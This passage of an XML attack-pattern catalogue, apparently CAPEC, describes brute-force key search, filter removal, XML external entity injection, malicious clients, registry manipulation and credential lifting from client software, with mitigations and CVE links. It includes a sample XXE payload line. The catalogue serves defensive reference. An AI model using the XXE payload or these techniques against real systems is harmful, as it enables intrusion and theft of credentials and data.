					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine the ciphertext and the encryption
												algorithm.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Perform an exhaustive brute force search of the
												keyspace, producing candidate plaintexts and
												observing if they make sense.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Ciphertext is known.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Encryption algorithm and key size are known.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In 1997 the original DES challenge used distributed net computing to
							brute force the encryption key and decrypt the ciphertext to obtain the
							original plaintext. Each machine was given its own section of the
							keyspace to cover. The ciphertext was decrypted in 96 days.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Brute forcing encryption does not require much skill.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact
					requirements will depend on the size of the brute force job and the time
					requirement for completion. Some brute forcing jobs may require grid or
					distributed computing (e.g. DES Challenge).</Text>
				<Text>On average, for a binary key of size N, 2^(N/2) trials will be needed to find
					the key that would decrypt the ciphertext to obtain the original
					plaintext.</Text>
				<Text>Obviously as N gets large the brute force approach becomes infeasible.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>None. This attack happens offline.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use commonly accepted algorithms and recommended key sizes. The key size
						used will depend on how important it is to keep the data confidential and
						for how long.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>In theory a brute force attack performing an exhausitve keyspace search
						will always succeed, so the goal is to have computational security. Moore's
						law needs to be taken into account that suggests that computing resources
						double every eighteen months.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>326<!--Inadequate Encryption Strength--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>327<!--Use of a Broken or Risky Cryptographic Algorithm--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>719<!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>112<!--Brute Force--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description,
							Resources Required and Context Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="200"
			Name="Removal of filters: Input filters, output filters, data masking"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker removes or disables filtering mechanisms on the target
						application. Input filters prevent invalid data from being sent to an
						application (for example, overly large inputs that might cause a buffer
						overflow or other malformed inputs that may not be correctly handled by an
						application). Input filters might also be designed to constrained executable
						content. For example, if an application accepts scripting languages as
						input, an input filter could constrain the commands received and block those
						that the application's administrator deems to be overly powerful. An output
						filter screens responses from an application or person in order to prevent
						disclosure of sensitive information. For example, an application's output
						filter might block output that is sourced to sensitive folders or which
						contains certain keywords. A data mask is similar to an output filter, but
						usually applies to structured data, such as found in databases. Data masks
						elide or replace portions of the information returned from a query in order
						to protect against the disclosure of sensitive information.</Text>
					<Text>If an input filter is removed the attacker will be able to send content to
						the target and have the target utilize it without it being sanitized. If the
						content sent by the attacker is executable, the attacker may be able to
						execute arbitrary commands on the target. If an output filter or data
						masking mechanism is disabled, the target may send out sensitive information
						that would otherwise be elided by the filters. If the data mask is disabled,
						sensitive information stored in a database would be returned unaltered. This
						could result in the disclosure of sensitive information, such as social
						security numbers of payment records.</Text>
					<Text>This attack is usually executed as part of a larger attack series. The
						attacker would disable filters and would then mount additional attacks to
						either insert commands or data or query the target application in ways that
						would otherwise be prevented by the filters.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must utilize some sort of filtering mechanism
						(input, output, or data masking).</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>56<!--Removing/short-circuiting 'guard logic'--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="201" Name="External Entity Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates an XML document that with an external entity
						reference. External entity references can take the form of &lt;!ENTITY name
						system "uri"&gt; tags in a DTD. Because processors may not validate
						documents with external entities, there may be no checks on the nature of
						the reference in the external entity. This can allow an attacker to open
						arbitrary files or connections. For example, the following DTD would attempt
						to open the /dev/tty device:</Text>
					<Block>
						<Code>&lt;!DOCTYPE doc [ &lt;!ENTITY ent SYSTEM "file:///dev/tty"&gt;
							]&gt;</Code>
					</Block>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must follow external entity references without validating the
						validity of the reference target.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to trick the target into loading an XML document
					with crafted external entity reference.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configure the XML processor to only retrieve external entities from
						trusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2008-0628</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The XML parsing code in Sun Java Runtime Environment JDK and JRE 6
							Update 3 and earlier processes external entity references even when the
							"external general entities" property is false, which allows remote
							attackers to conduct XML external entity (XXE) attacks and cause a
							denial of service or access restricted resources.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>278<!--Web Services Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.securiteam.com/securitynews/6D0100A5PU.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>http://scary.beasts.org/security/CESA-2007-002.html</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="202" Name="Create Malicious Client" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates a client application to interface with a target
						service where the client violates assumptions the service makes about
						clients. Services that have designated client applications (as opposed to
						services that use general client applications, such as IMAP or POP mail
						servers which can interact with any IMAP or POP client) may assume that the
						client will follow specific procedures. For example, servers may assume that
						clients will accurately compute values (such as prices), will send correctly
						structured messages, and will attempt to ensure efficient interactions with
						the server. By reverse-engineering a client and creating their own version,
						an attacker can take advantage of these assumptions to abuse service
						functionality. For example, a purchasing service might send a unit price to
						its client and expect the client to correctly compute the total cost of a
						purchase. If the attacker uses a malicious client, however, the attacker
						could ignore the server input and declare any total price. Likewise, an
						attacker could configure the client to retain network or other server
						resources for longer than legitimately necessary in order to degrade server
						performance.</Text>
					<Text>Even services with general clients can be susceptible to this attack if
						they assume certain client behaviors. However, such services generally can
						make fewer assumptions about the behavior of their clients in the first
						place and, as such, are less likely to make assumptions that an attacker can
						exploit.</Text>
					<Text>This attack differs from most other forms of identity spoofing in that the
						attacker is not attempting to impersonate a specific user or device.
						Instead, the attacker attempts to impersonate a class of applications,
						namely the client applications of a service. As such, the attacker is not
						violating the service's trust in an identity, but its trust in expected
						behavior.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted service must make assumptions about the behavior of the
						client application that interacts with it, which can be abused by an
						attacker.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to reverse engineer a client of the targeted
					service. However, the attacker does not need to reverse engineer all client
					functionality - they only need to recreate enough of the functionality to access
					the desired server functionality.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="203" Name="Manipulate Application Registry Values"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates the registry values used by an application to
						perform a variety of possible attacks. Many applications utilize registries
						to store configuration and service information. As such, attacks that
						manipulate these registries can affect individual services (affecting
						billing, authorization, or even allowing for identity spoofing) or the
						overall configuration of the targeted application. It is important to note
						that "registry" does not only refer to the Microsoft Windows Registry, but
						to any registry used by an application. For example, both Java RMI and SOAP
						use registries to track available services. Changing registry values is
						sometimes undertaken as part of another attack; for example, a path
						traversal (inserting relative path modifiers) or buffer overflow (enlarging
						a registry value beyond an application's ability to store it), but given the
						long term usage of many registry values, the registry manipulation could be
						its own end.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must rely on values stored in a registry.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>176<!--Configuration/Environment manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="204"
			Name="Lifting cached, sensitive data embedded in client distributions (thick or thin)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker examines a target application's cache for sensitive
						information. Many applications that communicate with remote entities or
						which perform intensive calculations utilize caches to improve efficiency.
						However, if the application computes or receives sensitive information and
						the cache is not appropriately protected, an attacker can browse the cache
						and retrieve this information. This can result in the disclosure of
						sensitive information.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must store sensitive information in a cache.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The cache must be inadequately protected against attacker access.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to reach the target application's cache. This may
					require prior access to the machine on which the target application runs. If the
					cache is encrypted, the attacker would need sufficient computational resources
					to crack the encryption. With strong encryption schemes, doing this could be
					intractable, but weaker encryption schemes could allow an attacker with
					sufficient resources to read the file.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>37<!--Lifting Data Embedded in Client Distributions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="205"
			Name="Lifting credential(s)/key material embedded in client distributions (thick or thin)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker examines a target application's code or configuration files to
						find credential or key material that has been embedded within the
						application or its files. Many services require authentication with their
						users for the various purposes including billing, access control or
						attribution. Some client applications store the user's authentication
						credentials or keys to accelerate the login process. Some clients may have
						built-in keys or credentials (in which case the server is authenticating
						with the client, rather than the user). If the attacker is able to locate
						where this information is stored, they may be able to retrieve these
						credentials. The attacker could then use these stolen credentials to
						impersonate the user or client, respectively, in interactions with the
						service or use stolen keys to eavesdrop on nominally secure communications
						between the client and server.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify Target:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker identifies client components to extract
												information from. These may be configuration files,
												local databases, binary executables, class files,
												shared libraries (e.g., DLLs), or other machine
												code.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Binary file extraction. The attacker
												extracts binary files from zips, jars, wars, PDFs
												or other composite formats.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Package listing. The attacker uses a package
												manifest provided with the software installer, or
												the file system itself, to identify component
												files suitable for attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Proprietary or sensitive data is stored in a
												location ultimately distributed to end
												users.</Text>
												</Indicator_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No sensitive data seems to be stored in the
												user’s client. The storage could be done after the
												first authentication or execution of the thick
												client.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Access to binary code is not realistic. For
												example, in a client-server environment, binary
												code on the server is presumed to be inscrutable
												to an attacker unless another vulnerability
												exposes it.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker identifies one or
												more files or data in the software that might
												store credentials
												information.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Obfuscation,
												anti-debugging, packing can make the observation
												and reverse engineering more difficult. It is only
												capable of delaying an attacker, however, not
												preventing a sufficiently motivated and resourced
												one.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Apply mining
											techniques:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker then uses a variety of techniques,
												such as monitoring, sniffing, reverse-engineering,
												cryptanalysis to extract the sensitive information
												and its associated use by the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>API Profiling. The attacker monitors the
												software's use of registry keys or other storage
												locations that can contain sensitive
												information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Execution in debugger. The attacker attaches
												a debugger to the application to monitor
												authentication process and retrieve important
												application steps (reverse algorithms) along
												system calls, network communication, etc. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Cryptanalysis. The attacker performs
												cryptanalysis to identify data in the client
												component which may be cryptographically
												significant. (Key material frequently stands out
												as very high entropy data when compared to other
												mundane data). Given cryptographically significant
												data, other analyses are performed (e.g., length,
												internal structure, etc.) to determine potential
												algorithms (RSA, ECC, AES, etc.). This process
												proceeds until the attacker reaches a conclusion
												about the significance and use of the data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Sensitive credentials data are used and
												embedded inside the client-accessible artifacts.
												</Text>
												</Indicator_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker extracts
												credentials related
												information.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must save keys or credential information. Many
						applications allow users to store authentication information as an
						option.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Java client program for the ATEN KH1516i IP KVM switch with
							firmware 1.0.063 and the KN9116 IP KVM switch with firmware 1.1.104 has
							a hardcoded AES encryption key, which makes it easier for
							man-in-the-middle attackers to (1) execute arbitrary Java code, or (2)
							gain access to machines connected to the switch, by hijacking a session.
							CVE Reference CVE-2009-1472 </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To extract sensitive data from configuration files, system registry,
							local databases, etc.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To reverse engineer an application flow to retrieve credentials
						</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must be able to reach the target application's code or
					configuration files. This may require prior access to the machine on which the
					target application runs. Authentication information is often encoded or
					encrypted, but this might not require significant attacker resources to
					compromise.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: When possible, don’t store credentials information on the client
						side</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Don’t store clear text or obfuscated credential
						information (or cryptographic keys) on the client side; use strong
						encryption to store any credentials related information</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>259<!--Hard-Coded Password-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>522<!--Insufficiently Protected Credentials -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2010-0557</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>IBM Cognos Express 9.0 allows attackers to obtain unspecified access
							to the Tomcat Manager component, and cause a denial of service, by
							leveraging hardcoded credentials.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2009-1472</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The Java client program for the ATEN KH1516i IP KVM switch with
							firmware 1.0.063 and the KN9116 IP KVM switch with firmware 1.1.104 has
							a hardcoded AES encryption key, which makes it easier for
							man-in-the-middle attackers to (1) execute arbitrary Java code, or (2)
							gain access to machines connected to the switch, by hijacking a session.
						</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>37<!--Lifting Data Embedded in Client Distributions-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/37.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="206"
			Name="Lifting signing key and signing malicious code from a production environment"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker extracts credentials used for code signing from a production
						environment and uses these credentials to sign malicious content with the
						developer's key. Many developers use signing keys to sign code or hashes of
						code. When users or applications verify the signatures are accurate they are
						led to believe that the code came from the owner of the signing key and that
